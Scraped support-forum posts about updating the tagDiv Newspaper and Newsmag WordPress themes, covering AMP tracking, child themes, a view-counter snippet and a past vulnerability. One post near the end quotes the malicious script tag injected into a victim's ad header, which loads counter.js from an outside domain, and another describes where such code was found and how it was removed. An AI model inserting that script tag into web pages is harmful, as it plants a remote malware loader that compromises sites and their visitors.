- Apitd_api_top_bar_template::update_key
- Apitd_api_top_bar_template::update
- Apitd_api_single_template::update_key
- Apitd_api_single_template::update
- Apitd_api_footer_template::update_key
- Apitd_api_footer_template::update
- Apitd_api_smart_list::update_key
- Apitd_api_smart_list::update
- Apitd_api_thumb::update_key
- Apitd_api_thumb::update
- Apitd_api_category_top_posts_style::update_key
- Apitd_api_category_top_posts_style::update
- Apitd_api_category_template::update_key
- Apitd_api_category_template::update
- Apitd_api_module::update_key
- Apitd_api_module::update
- Apitd_api_block::update_key
- Apitd_api_block::update
- Apitd_api_header_style::update_key
- Apitd_api_header_style::update
I’m having a lot of trouble with AMP and AMP tracking. I’m using the WordPress AMP plugin and Glue for Yoast. Can you confirm that the latest Newspaper theme version is compatible with both these plugins?
AMP links are not being reported in Google Analytics either since the update.
Please advise
Hello,
We are trying to update our newspaper theme from version 7.7 to version 8.1.
Site: https://rendeljkinait.hu
See what happenning after the update here: http://rendeljkinait.hu/21245829_1691561567550458_445862015_o.png
Now we have rolled back to the 7.7 version, but we would like to update it.
The problem which occured is that all the articles has been crashed and as I see the html divs crashing also.
Could you help us?
Thanks,
Laszlo
Hi,
At the moment the reviews will be displayed instead of the author name and date, on modules. When a post has a review the author name and also the date will not be displayed on the modules.
There are conditions in the theme code that prevent the author and date meta to be displayed, when the post has a reviw
– https://www.screencast.com/t/ym4J2mnX
This may change in a future update, and more options will be added concerning reviews on modules.
Thanks
I’ve customized some core files to make the site include some of the things I want, etc. When I update, it risks erasing these customizations. So in the past I’ve copied them first, then reupload (if needed). Is there a way to accomplish both customizing the theme + seamless update other than this way? Thanks.
Note amp plugin went through some major update last month, so double check the add action variable still the same…
Malware was not in current version of theme — a ‘vulnerability’ was in old version. Two totally different things. Legal copy of theme has no malware or it wouldn’t be uploaded onto ThemeForest which checks/approves everything after TagDiv does.
For those who didn’t update the theme on time, or who ‘copied’ theme files on top of old files vs proper upgrade method (proper upgrade is DELETE old folder, upload NEW one), you might have been at risk. Much like running OLD version of WP, would get you hacked as well.
BE SURE TO READ:
https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/
-
This reply was modified 9 years by
simchris.
FTP always best way to update theme, plugins, etc. — and always good to disable certain plugins like wp-booster that change how the content works dynamically, when doing any updates. Much like turning off caching, etc.
Hello,
Great theme. Wondering if you know a way to auto-populate the YouTube block on the homepage from my account/channel? I tried working at it manually but can’t really get it working as intended. We have a new video every day and don’t want to keep having to update the playlist manually. Thanks!
When I tried to update the Newsmag theme via wordpress as indicated in the tutorial “https://forum.tagdiv.com/newsmag-how-to-update-the-theme/”, it gave me the message “Theme already exists”. Then rename the folder and tried again but now it says ” wp booster error: Please update your [tagDiv social counter] Plugin!”.
I have disabled the Newsmag theme but it still gives me this error and it does not allow me to enter the admin panel.
What can I do to recover access to admin panel?
I just had the same problem. I have solved it by deleting javascript code fragments in the following theme options: Theme Panel> Ad> Header Ad
Theme Panel> Custom Code> Custom Javascript
You must also delete all the contents of the Cache (WP Super Cache or W3 Cache or similar)
This malwere came with the latest update of the theme Newsmag and Newspaper in the month of July / August
At the moment, I believe there are no plans to implements something like this. It could be available in future updates, but I could not say exactly if or when it will happen.
https://forum.tagdiv.com/topic/newspaper-amp-theme-2/#post-191089
Hello!
I just updated my theme to Newspaper 8, but when I try to create a new page and edit it with TD Composer nothing happens. I click add new element but it’s impossible to drag anything but the “icon” of the thing I’m trying to add to the page (example: slider, post block, etc). Is anyone having the same problem?
Thanks!
Thanks it works fine.
How to update the theme, when the new version is coming?
Can i make it auto update?
Hi !
I am using Visual COmposer for a long time and I would like to use the tagdiv Composer but…. I have more than 5000 articles.
How Can I do ? In my case, it is impossible to change articles manually.
Thanks.
I’ve added the following code to my functions.php, like Lucien described in his reply very clearly. Yet the view counter still doesn’t seem to work. It has been over a year since that reply was posted and new versions of Newsmag have been released. Perhaps the code is outdated? Thanks in advance!
add_action( 'amp_post_template_head', 'process_AMP_counter' );
function process_AMP_counter() {
global $post;
if (class_exists( 'td_page_views' )) {
if (td_util::get_option('tds_p_show_views') != 'hide') {
td_page_views::update_page_views($post->ID);
}
}
}
Hi,
At the moment, I believe there are no plans to implements something like this. It could be available in future updates, but I could not say exactly if or when it will happen.
The theme package includes an optional mobile theme plugin that is optimized for mobile devices
– https://forum.tagdiv.com/the-mobile-theme/
Thanks
Thank you Simion for the great details.
I also read the Bogdan’s reply here- https://forum.tagdiv.com/topic/setting-up-child-theme/ . A few doubt I have:
1. I understood that the child theme can also not be future proof, if any of the files that I added in child-theme get modified in original theme as well.
But what about Styles.css and functions.php? How does child theme load style.css? Does it use stylesheets code from original theme and child theme both? If so, then how?
What if there are two codes written for customization of same elements on both original theme CSS and child theme CSS. Which will be finally displayed on the live website?
Does child theme makes calls from style.css and functions.php from both original theme and child theme to display it on live website?
Does this affect the speed of site as well?
There are manily few core font name, size and color changes done by me on the original style.css of my theme. How can I keep it secure and stable even when I make an update of the theme?
functions.php is usually remain unchanged with theme updates but for better update-proof ness, should I add the custom code to the child theme functions.php and remove it from main functions.php?
What will happen if I add these codes at both the functions.php ( theme and child theme), will it cause any conflict in any possible way?
Kindly help
Hi,
The purpose of a child theme is to be able to make customization and modifications to the main theme, without losing them in case of a theme update.
A child theme is provided in the theme package, these are the theme files that can be modified through it
– https://forum.tagdiv.com/the-child-theme-support-tutorial/
Custom styling and code can be inserted in the child theme stylesheet, and functions file
– https://www.screencast.com/t/W7koVl2Ml
– https://www.screencast.com/t/YAv1uMAelWzq
If you plan to use a child theme, remove the custom code from the main theme files and enter it in the child theme files.
However the modifications you make for a theme element through the child theme are not fully future proof. If this element is subject to modification in a theme update, the child theme customization may not work properly or at all. It would require adjustments.
Bogdan is providing some child theme related information here
– https://forum.tagdiv.com/topic/setting-up-child-theme/
Thanks
Hi Team,
With every new theme update, I always have to make a few changes in the theme’s core file and now I am fade up with this.
There are two main files that I have to customize in the core theme file. 1. Style.css 2. Functions.php
( I am not talking about custom CSS but the real style.css file under theme)
Is there a way by which I can keep these changes in functions.php and style.css stable/fixed using child theme even after updating theme?
Should I simply copy the code that I change in core style.css file and paste it in style.css of child theme? Will this work? or will it load the style.css two times?
There is some tutorial here – https://codex.wordpress.org/Child_Themes which ensure that the child theme stylesheet loads after original style.css.
<?php
function my_theme_enqueue_styles() {
$parent_style = 'parent-style'; // This is 'twentyfifteen-style' for the Twenty Fifteen theme.
wp_enqueue_style( $parent_style, get_template_directory_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_stylesheet_directory_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
}
add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' );
?>
Is this code already written under our sample child theme file?
What about functions.php? there are multiple codes that I have added at the end of theme’s core functions.php. Should I delete these codes from core functions.php and write it on the child theme functions.php? If so? where do I need to write these codes?
Currently, this is how child theme funcitons.php look:
<?php
/* ----------------------------------------------------------------------------
Newspaper V6.3+ Child theme - Please do not use this child theme with older versions of Newspaper Theme
What can be overwritten via the child theme:
- everything from /parts folder
- all the loops (loop.php loop-single-1.php) etc
- please read the child theme documentation: https://forum.tagdiv.com/the-child-theme-support-tutorial/
- the rest of the theme has to be modified via the theme api:
https://forum.tagdiv.com/the-theme-api/
*/
/* ----------------------------------------------------------------------------
add the parent style + style.css from this folder
*/
add_action( 'wp_enqueue_scripts', 'theme_enqueue_styles', 1001);
function theme_enqueue_styles() {
wp_enqueue_style('td-theme', get_template_directory_uri() . '/style.css', '', TD_THEME_VERSION, 'all' );
wp_enqueue_style('td-theme-child', get_stylesheet_directory_uri() . '/style.css', array('td-theme'), TD_THEME_VERSION . 'c', 'all' );
}
Where am I supposed to insert new functions.php code?
Please help me create an almost stable style.css and functions.php under child theme so that all theme upgrade doesn’t affect all frequent updates.
Thank you.
Hi,
Please note that the theme has to be updated along with WordPress and plugins. Old versions can have security breaches and these can be exploited by different tools.
The old version from prior to April 2016 had a security issue which was patched in 6.7.2. Similarly, WordPress prior to 4.7 is insecure.
Please make sure you update your theme, plugins, and WordPress and do not stick to old versions.
If you have been the victim of an attack, update your theme immediately to the latest version and use one of these guides:
http://securepress.org/tutorial-how-to-remove-malware.php
https://wordpress.org/support/topic/malware-removal
https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
Here is a link for best WordPress security practices created by Chris S:
https://forum.tagdiv.com/topic/tutorial-good-basic-security-practices/
Thank you!
Thanks for the answer Simion,
However, we do not have access to the production server administration panel as server updates are done by GIT and other cli deployment tools, and because of Continuous Integration those changes are pushed to the live server very frequently, therefor we can not use the Duplicator plugin.
In fact we have no issues with moving code and database from server to server except the issue with the Newspaper theme that I mentioned before. And to resolve it I would like to know what function is clearing the theme’s custom settings so maybe I could disable it.
OK,
Please contact us via email at contact@tagdiv.com and provide a link to your site, wp-admin and ftp access so we can login ad investigate the problems. Please create a back-up of your install as we will attempt to update to the latest version to investigate the issues presented above.
Thank you!
Hello concertioline,
Sorry for this but please notice that our theme does not have any “intermediate” version in this case, sorry! You should recreate your homepage which was made via Visual Composer, add your Widgets in your sidebar because after updating your theme, all of these will appears as deactivated. You should activate all of them and place them in your sidebar.
Verry important is to make a full backup to each theme update. For more information about how you can correctly use and recreate the pages with our page builder, please check here -> https://forum.tagdiv.com/visual-composer-tagdiv-composer-transition/ -> https://forum.tagdiv.com/tagdiv-composer-tutorial/
Thanks for your understanding!
Hi bso,
Please notice that we can provide you 7’th theme version if you want because the 6.7.2 version is too deprecated version. If you want this one, please send us an email at contact@tagdiv.com and request it there.
I will repeat you again that the surest way to protect your theme is to UPDATE it.
Thanks.
Thank You, come in useful.
But there is what to do after injection. I did that, I removed malicious code.
I can’t update theme to version 8 at the moment and I need information what to do to protect website, because everybody can add malicious code to ad header still.
I red that version 6.7.2 has fix.
This is the maliciuos code: “<script type=’text/javascript’ src=’hxxtps://java.sometimesfree.biz/counter.js’></script>”
Best,
-
This reply was modified 9 years by
bso.